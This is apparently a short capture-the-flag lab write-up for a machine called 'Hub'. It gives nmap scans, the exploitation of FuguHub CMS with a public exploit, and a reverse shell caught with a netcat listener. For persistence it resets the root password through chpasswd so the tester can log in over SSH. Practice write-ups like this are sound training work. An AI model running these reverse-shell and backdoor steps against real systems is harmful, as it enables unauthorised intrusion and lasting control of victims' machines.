Hub

Nmap

sudo nmap -Pn -n 192.168.197.25 -sC -sV -p- --min-rate=10000 --open

sudo nmap -Pn -n 192.168.197.25 -sU --top-ports=100 --reason

HTTP - 8082

Immediately we are met with FuguHub CMS. First thing we do is google search for vulnerabilities and exploits. The second link looks good

Back on our machine grab the raw python exploit file

With this exploit it doesnt appear that we need to tinker with anything. It will create a new user/pass with admin credentials when we run it

Set up a listener and run it

nc -lvnp 4444

python3 exploit.py -r 192.168.197.25 -rp 8082 -l 192.168.45.209 -p 4444

Its important to note, that the first time I ran this, it didn work and errored out because I had already manually created an admin user on the CMS website. Once I realized this, instead of trying to figure out how to delete the user, I just reverted the machine and ran the exploit again

Persistence

We get a shell and run:

which python
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

CTRL-Z then

stty raw -echo; fg

But it doesnt work and our shell is still weak. We could do some more digging as to why, and the truth is theres better options than using netcat like using Penelope, but ...I digress.

If we run commands we still get output printed

So lets check who we are

DAYUM. We got root.

However, I believe on exams like OSCP and in real life pentesting you would want to get a back door or some type of persistence. Lets try something simple like changing the password for root so we can ssh as root whenever we want and get a stable environment

Check if we have chpasswd and if we do, take note of the location

which chpasswd

echo 'root:password123' | /usr/sbin/chpasswd

And now we can ssh in